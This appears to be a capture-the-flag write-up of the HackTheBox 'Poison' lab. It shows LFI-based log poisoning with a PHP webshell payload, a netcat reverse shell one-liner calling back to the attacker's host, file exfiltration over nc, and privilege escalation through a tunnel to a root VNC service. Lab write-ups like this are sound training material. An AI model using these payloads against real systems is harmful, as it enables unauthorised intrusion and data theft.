A medium OpenBSD box from HackTheBox, get initial access by using a log poisoning attack and then escalate priviliges by exposing a local VNC listener running as root.

Recon

Running the usual nmap

sudo nmap -sC -sV -oA nmap/init 10.10.10.84
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2 (FreeBSD 20161230; protocol 2.0)
| ssh-hostkey: 
|   2048 e3:3b:7d:3c:8f:4b:8c:f9:cd:7f:d2:3a:ce:2d:ff:bb (RSA)
|   256 4c:e8:c6:02:bd:fc:83:ff:c9:80:01:54:7d:22:81:72 (ECDSA)
|_  256 0b:8f:d5:71:85:90:13:85:61:8b:eb:34:13:5f:94:3b (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((FreeBSD) PHP/5.6.32)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_http-server-header: Apache/2.4.29 (FreeBSD) PHP/5.6.32
Service Info: OS: FreeBSD; CPE: cpe:/o:freebsd:freebsd

Nothing crazy, just running an apache HTTP server

Navigating to it, see that it runs a script that you input by directly including the path to the script in the URL

Which makes you think of a potential LFI, trying that with /etc/passwd, get a confirmed LFI

Since the box’s name is “Poison”, probably get initial access via a log poisoning attack

Googling for the location of the HTTP access log file location on the OpenBSD version of Apache, see that its in /var/log/httpd-access.log

Trying this location, see the logs

Exploitation

Exploiting from here is as simple as including a php webshell in the request, so that the php code will be executed on this page

Connecting to the box with netcat

nc 10.10.10.84 80

Send a php webshell by sending a GET request with php code

GET <?php system($_GET['c']); ?>

And then test it out by trying a “cat /etc/passwd” command in the webshell

# URL

http://10.10.10.84/browse.php?file=/var/log/httpd-access.log&c=cat%20/etc/passwd

Can see the contents of the passwd file in the logs, so we have code execution

From here, can get a reverse shell by starting a listener on port 4444, and using the OpenBSD nc reverse shell

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 4444 >/tmp/f

Then URL encode it with

kali> urlencode "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 4444 >/tmp/f"

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.5%204444%20%3E%2Ftmp%2Ff

And then put it into the webshell to execute it, and get a reverse shell as www

connect to [10.10.14.5] from (UNKNOWN) [10.10.10.84] 16954
sh: can't access tty; job control turned off
$ whoami
www
$ 

Inspecting the current directory, see an interesting file called “pwdbackup.txt”

$ ls

browse.php
index.php
info.php
ini.php
listfiles.php
phpinfo.php
pwdbackup.txt

Print it, and see that its an encoded password, 13 times with base64

$ cat pwdbackup.txt

This password is secure, it's encoded atleast 13 times.. what could go wrong really..

Vm0wd2QyUXlVWGxWV0d4WFlURndVRlpzWkZOalJsWjBUVlpPV0ZKc2JETlhhMk0xVmpKS1IySkVU
bGhoTVVwVVZtcEdZV015U2tWVQpiR2hvVFZWd1ZWWnRjRWRUTWxKSVZtdGtXQXBpUm5CUFdWZDBS
bVZHV25SalJYUlVUVlUxU1ZadGRGZFZaM0JwVmxad1dWWnRNVFJqCk1EQjRXa1prWVZKR1NsVlVW
M040VGtaa2NtRkdaR2hWV0VKVVdXeGFTMVZHWkZoTlZGSlRDazFFUWpSV01qVlRZVEZLYzJOSVRs
WmkKV0doNlZHeGFZVk5IVWtsVWJXaFdWMFZLVlZkWGVHRlRNbEY0VjI1U2ExSXdXbUZEYkZwelYy
eG9XR0V4Y0hKWFZscExVakZPZEZKcwpaR2dLWVRCWk1GWkhkR0ZaVms1R1RsWmtZVkl5YUZkV01G
WkxWbFprV0dWSFJsUk5WbkJZVmpKMGExWnRSWHBWYmtKRVlYcEdlVmxyClVsTldNREZ4Vm10NFYw
MXVUak5hVm1SSFVqRldjd3BqUjJ0TFZXMDFRMkl4WkhOYVJGSlhUV3hLUjFSc1dtdFpWa2w1WVVa
T1YwMUcKV2t4V2JGcHJWMGRXU0dSSGJFNWlSWEEyVmpKMFlXRXhXblJTV0hCV1ltczFSVmxzVm5k
WFJsbDVDbVJIT1ZkTlJFWjRWbTEwTkZkRwpXbk5qUlhoV1lXdGFVRmw2UmxkamQzQlhZa2RPVEZk
WGRHOVJiVlp6VjI1U2FsSlhVbGRVVmxwelRrWlplVTVWT1ZwV2EydzFXVlZhCmExWXdNVWNLVjJ0
NFYySkdjR2hhUlZWNFZsWkdkR1JGTldoTmJtTjNWbXBLTUdJeFVYaGlSbVJWWVRKb1YxbHJWVEZT
Vm14elZteHcKVG1KR2NEQkRiVlpJVDFaa2FWWllRa3BYVmxadlpERlpkd3BOV0VaVFlrZG9hRlZz
WkZOWFJsWnhVbXM1YW1RelFtaFZiVEZQVkVaawpXR1ZHV210TmJFWTBWakowVjFVeVNraFZiRnBW
VmpOU00xcFhlRmRYUjFaSFdrWldhVkpZUW1GV2EyUXdDazVHU2tkalJGbExWRlZTCmMxSkdjRFpO
Ukd4RVdub3dPVU5uUFQwSwo=

Tossing it into cyberchef, and decoding it 13 times, get a password

Charix!2#4%6&8(0

Maybe we can privesc to another user with it

cat /etc/passwd

...
charix:*:1001:1001:charix:/home/charix:/bin/csh

See a “charix” user, this is probably their password, so try to ssh in as them with this password - and get in

kali> ssh charix@10.10.10.84

...

charix@Poison:~ % whoami
charix

Inside charix’s home directory, see a “secret.zip” file (as well as the user.txt flag)

Extract it with netcat, on the local kali machine do

kali> nc -lnvp 9001 > secret.zip

Then on the victims box do

charix@Poison:~ % nc KALI_IP 9001 < secret.zip

Wait a little while, then CTRL+C out of the netcat listner, and try to unzip the file

kali> unzip secret.zip

It asks for a password, give it charix’s password, and it works and unzips

Its a bit of garbage file, not ascii printable

kali> cat secret
��[|Ֆz!

Going back to the ssh session, see what else is running on the box with

charix@Poison:~ % netstat -an -p tcp

Active Internet connections (including servers)
Proto Recv-Q Send-Q Local Address          Foreign Address        (state)
tcp4       0      0 10.10.10.84.16954      10.10.14.5.4444        CLOSE_WAIT
tcp4       0      0 10.10.10.84.80         10.10.14.5.52716       ESTABLISHED
tcp4       0      0 10.10.10.84.32728      10.10.14.5.4444        CLOSE_WAIT
tcp4       0      0 10.10.10.84.80         10.10.14.5.42670       CLOSE_WAIT
tcp4       0     44 10.10.10.84.22         10.10.14.5.52754       ESTABLISHED
tcp4       0      0 10.10.10.84.34446      10.10.14.5.4444        CLOSE_WAIT
tcp4       0      0 10.10.10.84.80         10.10.14.5.38462       CLOSE_WAIT
tcp4       0      0 10.10.10.84.20202      10.10.14.5.4444        CLOSE_WAIT
tcp4       0      0 10.10.10.84.80         10.10.14.5.33316       CLOSE_WAIT
tcp4       0      0 127.0.0.1.25           *.*                    LISTEN
tcp4       0      0 *.80                   *.*                    LISTEN
tcp6       0      0 *.80                   *.*                    LISTEN
tcp4       0      0 *.22                   *.*                    LISTEN
tcp6       0      0 *.22                   *.*                    LISTEN
tcp4       0      0 127.0.0.1.5801         *.*                    LISTEN
tcp4       0      0 127.0.0.1.5901         *.*                    LISTEN

See there are listeners on 5801 and 5901, ports used for VNC

Double checking with “ps”

charix@Poison:~ % ps -auwwx

...
root   529   0.0  0.9  23620  8872 v0- I    14:53     0:00.04 Xvnc :1 -desktop X -httpd /usr/local/share/tightvnc/classes -auth /root/.Xauthority -geometry 1280x800 -depth 24 -rfbwait 120000 -rfbauth /root/.vnc/passwd -rfbport 5901 -localhost -nolisten tcp :1
...

Which shows VNC running as root, and from the “-rfbport 5901” section of the command, can tell that its running on port 5901 - as its running as root, can try and privesc using it

Since VNC is a GUI application, doesn’t make sense to connect from the victim machine, and need to create a tunnel to expose the service to the kali machine

Lets use a ssh proxy, adding this line to the bottom of /etc/proxychains4.conf

socks4 127.0.0.1 10000

Then create the ssh tunnel

ssh clarix@10.10.10.84 -D 10000

And sign in as clarix

Then in another terminal session, run the proxychains command with vncviewer

kali> proxychains vncviewer 127.0.0.1:5901

But the authentication fails, maybe we need to pass the “secret” file in as a password?

kali> proxychains vncviewer 127.0.0.1:5901 -passwd secret

And get in with a terminal session open on the desktop as root!